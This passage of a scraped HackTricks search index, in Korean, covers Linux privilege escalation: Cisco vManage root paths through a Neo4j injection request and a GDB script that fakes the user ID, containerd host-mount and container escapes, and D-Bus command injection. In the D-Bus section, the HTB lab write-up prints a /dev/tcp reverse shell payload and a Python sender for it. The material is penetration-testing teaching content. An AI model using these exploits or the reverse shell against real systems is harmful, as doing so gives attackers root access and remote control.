파일을 실행해야 하는지를 나타냅니다. TODO: 일반 파일 유형이 열릴 때 rev shell을 실행하기 위해 이를 악용할 요구 사항을 확인하십시오. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Arbitrary File Write to Root » binfmt_misc","id":"1511","title":"binfmt_misc"},"1512":{"body":"Reading time: 6 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Cisco - vmanage » Cisco - vmanage","id":"1512","title":"Cisco - vmanage"},"1513":{"body":"(Example from https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html ) 조금 더 파고들어 confd 및 다양한 바이너리와 관련된 문서 를 살펴본 결과, IPC 소켓을 인증하기 위해 /etc/confd/confd_ipc_secret에 위치한 비밀을 사용한다는 것을 발견했습니다: vmanage:~$ ls -al /etc/confd/confd_ipc_secret -rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret 우리의 Neo4j 인스턴스를 기억하나요? vmanage 사용자의 권한으로 실행되고 있어, 이전 취약점을 사용하여 파일을 검색할 수 있습니다: GET /dataservice/group/devices?groupId=test\\\\\\\\\\\\\'<>\\\\\\"test\\\\\\\\\\\\\\\\\\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\\\\\\"file:///etc/confd/confd_ipc_secret\\\\\\"+AS+n+RETURN+n+//+\' HTTP/1.1 Host: vmanage-XXXXXX.viptela.net [...] \\"data\\":[{\\"n\\":[\\"3708798204-3215954596-439621029-1529380576\\"]}]} confd_cli 프로그램은 명령줄 인수를 지원하지 않지만 인수와 함께 /usr/bin/confd_cli_user를 호출합니다. 따라서 우리는 자신의 인수 집합으로 /usr/bin/confd_cli_user를 직접 호출할 수 있습니다. 그러나 현재 권한으로는 읽을 수 없으므로 rootfs에서 이를 검색하고 scp를 사용하여 복사한 후, 도움말을 읽고 이를 사용하여 셸을 얻어야 합니다: vManage:~$ echo -n \\"3708798204-3215954596-439621029-1529380576\\" > /tmp/ipc_secret vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret vManage:~$ /tmp/confd_cli_user -U 0 -G 0 Welcome to Viptela CLI admin connected from 127.0.0.1 using console on vManage vManage# vshell vManage:~# id uid=0(root) gid=0(root) groups=0(root)","breadcrumbs":"Linux Privilege Escalation » Cisco - vmanage » Path 1","id":"1513","title":"Path 1"},"1514":{"body":"(Example from https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77 ) synacktiv 팀의 블로그¹는 루트 셸을 얻는 우아한 방법을 설명했지만, 단점은 /usr/bin/confd_cli_user의 복사본을 얻어야 하며 이는 루트만 읽을 수 있습니다. 나는 이러한 번거로움 없이 루트로 상승하는 또 다른 방법을 찾았습니다. /usr/bin/confd_cli 바이너리를 분해했을 때, 나는 다음과 같은 것을 관찰했습니다: vmanage:~$ objdump -d /usr/bin/confd_cli\\n… snipped …\\n40165c: 48 89 c3 mov %rax,%rbx\\n40165f: bf 1c 31 40 00 mov $0x40311c,%edi\\n401664: e8 17 f8 ff ff callq 400e80 \\n401669: 49 89 c4 mov %rax,%r12\\n40166c: 48 85 db test %rbx,%rbx\\n40166f: b8 dc 30 40 00 mov $0x4030dc,%eax\\n401674: 48 0f 44 d8 cmove %rax,%rbx\\n401678: 4d 85 e4 test %r12,%r12\\n40167b: b8 e6 30 40 00 mov $0x4030e6,%eax\\n401680: 4c 0f 44 e0 cmove %rax,%r12\\n401684: e8 b7 f8 ff ff callq 400f40 <-- HERE\\n401689: 89 85 50 e8 ff ff mov %eax,-0x17b0(%rbp)\\n40168f: e8 6c f9 ff ff callq 401000 <-- HERE\\n401694: 89 85 44 e8 ff ff mov %eax,-0x17bc(%rbp)\\n40169a: 8b bd 68 e8 ff ff mov -0x1798(%rbp),%edi\\n4016a0: e8 7b f9 ff ff callq 401020 \\n4016a5: c6 85 cf f7 ff ff 00 movb $0x0,-0x831(%rbp)\\n4016ac: 48 85 c0 test %rax,%rax\\n4016af: 0f 84 ad 03 00 00 je 401a62 \\n4016b5: ba ff 03 00 00 mov $0x3ff,%edx\\n4016ba: 48 89 c6 mov %rax,%rsi\\n4016bd: 48 8d bd d0 f3 ff ff lea -0xc30(%rbp),%rdi\\n4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt>\\n… snipped … “ps aux”를 실행했을 때, 다음을 관찰했습니다 ( note -g 100 -u 107 ) vmanage:~$ ps aux\\n… snipped …\\nroot 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash\\n… snipped … 나는 “confd_cli” 프로그램이 로그인한 사용자로부터 수집한 사용자 ID와 그룹 ID를 “cmdptywrapper” 애플리케이션에 전달한다고 가정했다. 내 첫 번째 시도는 “cmdptywrapper”를 직접 실행하고 -g 0 -u 0을 제공하는 것이었지만 실패했다. 어딘가에서 파일 설명자(-i 1015)가 생성된 것 같고, 이를 위조할 수 없다. synacktiv의 블로그(마지막 예제)에서 언급했듯이, confd_cli 프로그램은 명령줄 인수를 지원하지 않지만, 디버거를 통해 영향을 줄 수 있으며, 다행히 GDB가 시스템에 포함되어 있다. 나는 API getuid와 getgid가 0을 반환하도록 강제하는 GDB 스크립트를 만들었다. 이미 deserialization RCE를 통해 “vmanage” 권한을 가지고 있으므로, /etc/confd/confd_ipc_secret를 직접 읽을 수 있는 권한이 있다. root.gdb: set environment USER=root\\ndefine root\\nfinish\\nset $rax=0\\ncontinue\\nend\\nbreak getuid\\ncommands\\nroot\\nend\\nbreak getgid\\ncommands\\nroot\\nend\\nrun 콘솔 출력: vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli\\nGNU gdb (GDB) 8.0.1\\nCopyright (C) 2017 Free Software Foundation, Inc.\\nLicense GPLv3+: GNU GPL version 3 or later \\nThis is free software: you are free to change and redistribute it.\\nThere is NO WARRANTY, to the extent permitted by law. Type \\"show copying\\"\\nand \\"show warranty\\" for details.\\nThis GDB was configured as \\"x86_64-poky-linux\\".\\nType \\"show configuration\\" for configuration details.\\nFor bug reporting instructions, please see:\\n.\\nFind the GDB manual and other documentation resources online at:\\n.\\nFor help, type \\"help\\".\\nType \\"apropos word\\" to search for commands related to \\"word\\"...\\nReading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.\\nBreakpoint 1 at 0x400f40\\nBreakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59\\n59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)\\n0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59\\n59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)\\n0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59\\n59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)\\n0x0000000000401871 in ?? ()\\nWelcome to Viptela CLI\\nroot connected from 127.0.0.1 using console on vmanage\\nvmanage# vshell\\nbash-4.4# whoami ; id\\nroot\\nuid=0(root) gid=0(root) groups=0(root)\\nbash-4.4# tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Cisco - vmanage » Path 2","id":"1514","title":"Path 2"},"1515":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Containerd (ctr) Privilege Escalation » Containerd (ctr) Privilege Escalation","id":"1515","title":"Containerd (ctr) Privilege Escalation"},"1516":{"body":"다음 링크로 가서 containerd가 무엇인지 와 ctr에 대해 알아보세요: 2375, 2376 Pentesting Docker","breadcrumbs":"Linux Privilege Escalation » Containerd (ctr) Privilege Escalation » 기본 정보","id":"1516","title":"기본 정보"},"1517":{"body":"호스트에 ctr 명령이 포함되어 있는지 확인하십시오: bash which ctr\\n/usr/bin/ctr 이미지를 나열할 수 있습니다: bash ctr image list\\nREF TYPE DIGEST SIZE PLATFORMS LABELS\\nregistry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -\\nregistry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 - 그리고 호스트 루트 폴더를 마운트하여 해당 이미지 중 하나를 실행합니다 : bash ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash","breadcrumbs":"Linux Privilege Escalation » Containerd (ctr) Privilege Escalation » PE 1","id":"1517","title":"PE 1"},"1518":{"body":"특권이 있는 컨테이너를 실행하고 그로부터 탈출합니다. 특권이 있는 컨테이너는 다음과 같이 실행할 수 있습니다: bash ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash 그런 다음 특권 기능을 악용하여 탈출 하기 위해 다음 페이지에 언급된 몇 가지 기술을 사용할 수 있습니다: Docker Security tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Containerd (ctr) Privilege Escalation » PE 2","id":"1518","title":"PE 2"},"1519":{"body":"Reading time: 17 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation","id":"1519","title":"D-Bus Enumeration & Command Injection Privilege Escalation"},"152":{"body":"Bettercap은 포트 137/UDP로 브로드캐스트 패킷을 보내 \\"CKAAAAAAAAAAAAAAAAAAAAAAAAAAA\\"라는 이름을 요청한다.","breadcrumbs":"Pentesting Network » NBNS (NetBios Name Server)","id":"152","title":"NBNS (NetBios Name Server)"},"1520":{"body":"D-Bus는 Ubuntu 데스크탑 환경에서 프로세스 간 통신(IPC) 중재자로 사용됩니다. Ubuntu에서는 여러 메시지 버스가 동시에 운영되는 것을 관찰할 수 있습니다: 시스템 버스는 주로 시스템 전반에 걸쳐 관련된 서비스를 노출하기 위해 특권 서비스에 의해 사용되며 , 각 로그인한 사용자에 대한 세션 버스는 해당 특정 사용자에게만 관련된 서비스를 노출합니다. 여기서는 권한 상승을 목표로 하기 때문에 더 높은 권한(예: root)으로 실행되는 서비스와의 연관성 때문에 시스템 버스에 주로 초점을 맞춥니다. D-Bus의 아키텍처는 각 세션 버스에 대해 \'라우터\'를 사용하여 클라이언트가 통신하고자 하는 서비스에 대해 지정한 주소에 따라 클라이언트 메시지를 적절한 서비스로 리디렉션하는 역할을 합니다. D-Bus의 서비스는 그들이 노출하는 객체 와 인터페이스 에 의해 정의됩니다. 객체는 표준 OOP 언어의 클래스 인스턴스에 비유될 수 있으며, 각 인스턴스는 객체 경로 에 의해 고유하게 식별됩니다. 이 경로는 파일 시스템 경로와 유사하게 서비스에 의해 노출된 각 객체를 고유하게 식별합니다. 연구 목적을 위한 주요 인터페이스는 org.freedesktop.DBus.Introspectable 인터페이스로, 단일 메서드인 Introspect를 특징으로 합니다. 이 메서드는 객체가 지원하는 메서드, 신호 및 속성의 XML 표현을 반환하며, 여기서는 속성과 신호를 생략하고 메서드에 초점을 맞춥니다. D-Bus 인터페이스와의 통신을 위해 두 가지 도구가 사용되었습니다: D-Bus에서 노출된 메서드를 스크립트에서 쉽게 호출할 수 있도록 하는 CLI 도구인 gdbus 와 각 버스에서 사용 가능한 서비스를 열거하고 각 서비스에 포함된 객체를 표시하도록 설계된 Python 기반 GUI 도구인 D-Feet 입니다. bash sudo apt-get install d-feet https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png 첫 번째 이미지에서는 D-Bus 시스템 버스에 등록된 서비스가 표시되며, org.debin.apt 가 시스템 버스 버튼을 선택한 후 특별히 강조됩니다. D-Feet는 이 서비스에 대해 객체를 쿼리하여 선택된 객체의 인터페이스, 메서드, 속성 및 신호를 표시하며, 이는 두 번째 이미지에서 볼 수 있습니다. 각 메서드의 시그니처도 자세히 설명되어 있습니다. 주목할 만한 기능은 서비스의 **프로세스 ID (pid)**와 명령줄 을 표시하는 것으로, 이는 서비스가 상승된 권한으로 실행되는지 확인하는 데 유용하며, 연구의 관련성에 중요합니다. D-Feet는 메서드 호출도 허용합니다 : 사용자는 매개변수로 Python 표현식을 입력할 수 있으며, D-Feet는 이를 D-Bus 유형으로 변환한 후 서비스를 호출합니다. 그러나 일부 메서드는 인증이 필요 하다는 점에 유의해야 합니다. 우리는 자격 증명 없이 권한을 상승시키는 것이 목표이므로 이러한 메서드는 무시할 것입니다. 또한 일부 서비스는 사용자가 특정 작업을 수행할 수 있는지 여부를 확인하기 위해 org.freedeskto.PolicyKit1이라는 다른 D-Bus 서비스에 쿼리합니다.","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » GUI enumeration","id":"1520","title":"GUI enumeration"},"1521":{"body":"","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » Cmd line Enumeration","id":"1521","title":"Cmd line Enumeration"},"1522":{"body":"열린 D-Bus 인터페이스를 나열하는 것은 가능합니다: bash busctl list #List D-Bus interfaces NAME PID PROCESS USER CONNECTION UNIT SE\\n:1.0 1 systemd root :1.0 init.scope -\\n:1.1345 12817 busctl qtc :1.1345 session-729.scope 72\\n:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service -\\n:1.3 2609 dbus-server root :1.3 dbus-server.service -\\n:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service -\\n:1.6 2612 systemd-logind root :1.6 systemd-logind.service -\\n:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv… -\\n:1.820 6583 systemd qtc :1.820 user@1000.service -\\ncom.ubuntu.SoftwareProperties - - - (activatable) - -\\nfi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service -\\nfi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service -\\nhtb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service -\\norg.bluez - - - (activatable) - -\\norg.freedesktop.DBus 1 systemd root - init.scope -\\norg.freedesktop.PackageKit - - - (activatable) - -\\norg.freedesktop.PolicyKit1 - - - (activatable) - -\\norg.freedesktop.hostname1 - - - (activatable) - -\\norg.freedesktop.locale1 - - - (activatable) - - Connections From wikipedia: 프로세스가 버스에 대한 연결을 설정하면, 버스는 해당 연결에 _고유 연결 이름_이라는 특별한 버스 이름을 할당합니다. 이러한 유형의 버스 이름은 불변이며, 연결이 존재하는 한 변경되지 않을 것이 보장됩니다. 더 중요한 것은, 버스의 수명 동안 재사용될 수 없다는 것입니다. 이는 해당 버스에 대한 다른 연결이 그러한 고유 연결 이름을 할당받지 않음을 의미하며, 동일한 프로세스가 버스에 대한 연결을 종료하고 새 연결을 생성하더라도 마찬가지입니다. 고유 연결 이름은 금지된 콜론 문자로 시작하기 때문에 쉽게 인식할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » 서비스 객체 나열","id":"1522","title":"서비스 객체 나열"},"1523":{"body":"그런 다음, 다음을 사용하여 인터페이스에 대한 정보를 얻을 수 있습니다: bash busctl status htb.oouch.Block #Get info of \\"htb.oouch.Block\\" interface PID=2609\\nPPID=1\\nTTY=n/a\\nUID=0\\nEUID=0\\nSUID=0\\nFSUID=0\\nGID=0\\nEGID=0\\nSGID=0\\nFSGID=0\\nSupplementaryGIDs=\\nComm=dbus-server\\nCommandLine=/root/dbus-server\\nLabel=unconfined\\nCGroup=/system.slice/dbus-server.service\\nUnit=dbus-server.service\\nSlice=system.slice\\nUserUnit=n/a\\nUserSlice=n/a\\nSession=n/a\\nAuditLoginUID=n/a\\nAuditSessionID=n/a\\nUniqueName=:1.3\\nEffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search\\ncap_fowner cap_fsetid cap_kill cap_setgid\\ncap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service\\ncap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock\\ncap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot\\ncap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot\\ncap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config\\ncap_mknod cap_lease cap_audit_write cap_audit_control\\ncap_setfcap cap_mac_override cap_mac_admin cap_syslog\\ncap_wake_alarm cap_block_suspend cap_audit_read\\nPermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search\\ncap_fowner cap_fsetid cap_kill cap_setgid\\ncap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service\\ncap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock\\ncap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot\\ncap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot\\ncap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config\\ncap_mknod cap_lease cap_audit_write cap_audit_control\\ncap_setfcap cap_mac_override cap_mac_admin cap_syslog\\ncap_wake_alarm cap_block_suspend cap_audit_read\\nInheritableCapabilities=\\nBoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search\\ncap_fowner cap_fsetid cap_kill cap_setgid\\ncap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service\\ncap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock\\ncap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot\\ncap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot\\ncap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config\\ncap_mknod cap_lease cap_audit_write cap_audit_control\\ncap_setfcap cap_mac_override cap_mac_admin cap_syslog\\ncap_wake_alarm cap_block_suspend cap_audit_read","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » Service Object Info","id":"1523","title":"Service Object Info"},"1524":{"body":"권한이 충분해야 합니다. bash busctl tree htb.oouch.Block #Get Interfaces of the service object └─/htb\\n└─/htb/oouch\\n└─/htb/oouch/Block","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » List Interfaces of a Service Object","id":"1524","title":"List Interfaces of a Service Object"},"1525":{"body":"이 예제에서는 tree 매개변수를 사용하여 발견된 최신 인터페이스가 선택된 것을 주목하세요 ( 이전 섹션 참조 ): bash busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface NAME TYPE SIGNATURE RESULT/VALUE FLAGS\\nhtb.oouch.Block interface - - -\\n.Block method s s -\\norg.freedesktop.DBus.Introspectable interface - - -\\n.Introspect method - s -\\norg.freedesktop.DBus.Peer interface - - -\\n.GetMachineId method - s -\\n.Ping method - - -\\norg.freedesktop.DBus.Properties interface - - -\\n.Get method ss v -\\n.GetAll method s a{sv} -\\n.Set method ssv - -\\n.PropertiesChanged signal sa{sv}as - - 노트 인터페이스 htb.oouch.Block의 메서드 .Block (우리가 관심 있는 것). 다른 열의 \\"s\\"는 문자열을 기대하고 있다는 의미일 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » 서비스 객체의 인터페이스 조사","id":"1525","title":"서비스 객체의 인터페이스 조사"},"1526":{"body":"충분한 권한이 있으면 (단지 send_destination 및 receive_sender 권한만으로는 부족함) D-Bus 통신을 모니터링 할 수 있습니다. 통신을 모니터링 하려면 root 여야 합니다. 여전히 root로 문제를 겪고 있다면 https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/ 및 https://wiki.ubuntu.com/DebuggingDBus 를 확인하세요. warning D-Bus 구성 파일을 설정하여 비루트 사용자가 통신을 스니핑할 수 있도록 허용하는 방법 을 알고 있다면 연락해 주세요 ! 모니터링하는 다양한 방법: bash sudo busctl monitor htb.oouch.Block #Monitor only specified\\nsudo busctl monitor #System level, even if this works you will only see messages you have permissions to see\\nsudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see 다음 예제에서 인터페이스 htb.oouch.Block이 모니터링되고 메시지 \\" lalalalal \\"가 잘못된 의사소통을 통해 전송됩니다 : bash busctl monitor htb.oouch.Block Monitoring bus message stream.\\n‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2\\nSender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block\\nUniqueName=:1.1376\\nMESSAGE \\"s\\" {\\nSTRING \\"lalalalal\\";\\n}; ‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2\\nSender=:1.3 Destination=:1.1376\\nUniqueName=:1.3\\nMESSAGE \\"s\\" {\\nSTRING \\"Carried out :D\\";\\n}; capture 대신 monitor를 사용하여 결과를 pcap 파일에 저장할 수 있습니다. 모든 잡음을 필터링하기 버스에 정보가 너무 많으면 다음과 같이 일치 규칙을 전달하세요: bash dbus-monitor \\"type=signal,sender=\'org.gnome.TypingMonitor\',interface=\'org.gnome.TypingMonitor\'\\" 여러 규칙을 지정할 수 있습니다. 메시지가 어떤 규칙과 일치하면 메시지가 출력됩니다. 다음과 같이: bash dbus-monitor \\"type=error\\" \\"sender=org.freedesktop.SystemToolsBackends\\" bash dbus-monitor \\"type=method_call\\" \\"type=method_return\\" \\"type=error\\" D-Bus 문서 를 참조하여 매치 규칙 구문에 대한 자세한 정보를 확인하세요.","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » 모니터/캡처 인터페이스","id":"1526","title":"모니터/캡처 인터페이스"},"1527":{"body":"busctl에는 더 많은 옵션이 있으며, 여기에서 모두 확인하세요 .","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » 더 많은 정보","id":"1527","title":"더 많은 정보"},"1528":{"body":"사용자 HTB의 \\"oouch\\" 호스트 내의 qtc 로서, _/etc/dbus-1/system.d/htb.oouch.Block.conf_에 위치한 예상치 못한 D-Bus 구성 파일 을 찾을 수 있습니다. xml \\n\\n \\n\\n\\n 이전 구성에서 정보를 전송하고 수신하려면 root 또는 www-data 사용자여야 합니다 D-BUS 통신을 통해. 도커 컨테이너 aeb4525789d8 내의 사용자 qtc 로서 /code/oouch/routes.py 파일에서 dbus 관련 코드를 찾을 수 있습니다. 이것이 흥미로운 코드입니다: python if primitive_xss.search(form.textfield.data):\\nbus = dbus.SystemBus()\\nblock_object = bus.get_object(\'htb.oouch.Block\', \'/htb/oouch/Block\')\\nblock_iface = dbus.Interface(block_object, dbus_interface=\'htb.oouch.Block\') client_ip = request.environ.get(\'REMOTE_ADDR\', request.remote_addr)\\nresponse = block_iface.Block(client_ip)\\nbus.close()\\nreturn render_template(\'hacker.html\', title=\'Hacker\') 보시다시피, D-Bus 인터페이스에 연결 하고 \\"Block\\" 함수 에 \\"client_ip\\"를 전송하고 있습니다. D-Bus 연결의 반대편에는 C로 컴파일된 바이너리가 실행되고 있습니다. 이 코드는 D-Bus 연결에서 IP 주소를 수신 대기 하고 주어진 IP 주소를 차단하기 위해 system 함수를 통해 iptables를 호출 하고 있습니다. system 호출은 의도적으로 명령 주입에 취약하므로 , 다음과 같은 페이로드는 리버스 셸을 생성합니다: ;bash -c \'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1\' #","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » 취약한 시나리오","id":"1528","title":"취약한 시나리오"},"1529":{"body":"이 페이지의 끝에서 D-Bus 애플리케이션의 전체 C 코드 를 찾을 수 있습니다. 그 안에는 91-97행 사이에 D-Bus 객체 경로 **및 인터페이스 이름**이 등록되는 방법 이 있습니다. 이 정보는 D-Bus 연결에 정보를 전송하는 데 필요합니다: c /* Install the object */\\nr = sd_bus_add_object_vtable(bus,\\n&slot,\\n\\"/htb/oouch/Block\\", /* interface */\\n\\"htb.oouch.Block\\", /* service object */\\nblock_vtable,\\nNULL); 또한, 57번째 줄에서 이 D-Bus 통신에 등록된 유일한 메서드 가 Block이라고 명시되어 있습니다( 그래서 다음 섹션에서는 페이로드가 서비스 객체 htb.oouch.Block, 인터페이스 /htb/oouch/Block 및 메서드 이름 Block으로 전송될 것입니다 ): c SD_BUS_METHOD(\\"Block\\", \\"s\\", \\"s\\", method_block, SD_BUS_VTABLE_UNPRIVILEGED), Python 다음 파이썬 코드는 block_iface.Block(runme)를 통해 Block 메서드에 페이로드를 D-Bus 연결로 전송합니다 ( 이 코드는 이전 코드 조각에서 추출되었습니다 ): python import dbus\\nbus = dbus.SystemBus()\\nblock_object = bus.get_object(\'htb.oouch.Block\', \'/htb/oouch/Block\')\\nblock_iface = dbus.Interface(block_object, dbus_interface=\'htb.oouch.Block\')\\nrunme = \\";bash -c \'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1\' #\\"\\nresponse = block_iface.Block(runme)\\nbus.close() busctl 및 dbus-send bash dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:\';pring -c 1 10.10.14.44 #\' dbus-send는 \\"Message Bus\\"에 메시지를 보내는 데 사용되는 도구입니다. Message Bus – 시스템이 애플리케이션 간의 통신을 쉽게 하기 위해 사용하는 소프트웨어입니다. 이는 Message Queue와 관련이 있지만 (메시지가 순서대로 정렬됨) Message Bus에서는 메시지가 구독 모델로 전송되며 매우 빠릅니다. “-system” 태그는 세션 메시지가 아닌 시스템 메시지를 언급하는 데 사용됩니다 (기본값). “–print-reply” 태그는 우리의 메시지를 적절하게 출력하고 인간이 읽을 수 있는 형식으로 응답을 받는 데 사용됩니다. “–dest=Dbus-Interface-Block” Dbus 인터페이스의 주소입니다. “–string:” – 우리가 인터페이스에 보내고자 하는 메시지의 유형입니다. 메시지를 보내는 여러 형식이 있으며, 이에는 double, bytes, booleans, int, objpath가 포함됩니다. 이 중 “object path”는 파일의 경로를 Dbus 인터페이스에 보내고자 할 때 유용합니다. 이 경우 특별한 파일(FIFO)을 사용하여 파일 이름으로 인터페이스에 명령을 전달할 수 있습니다. “string:;” – 이는 FIFO 리버스 쉘 파일/명령의 위치를 다시 호출하기 위한 것입니다. htb.oouch.Block.Block에서 첫 번째 부분(htb.oouch.Block)은 서비스 객체를 참조하고 마지막 부분(.Block)은 메서드 이름을 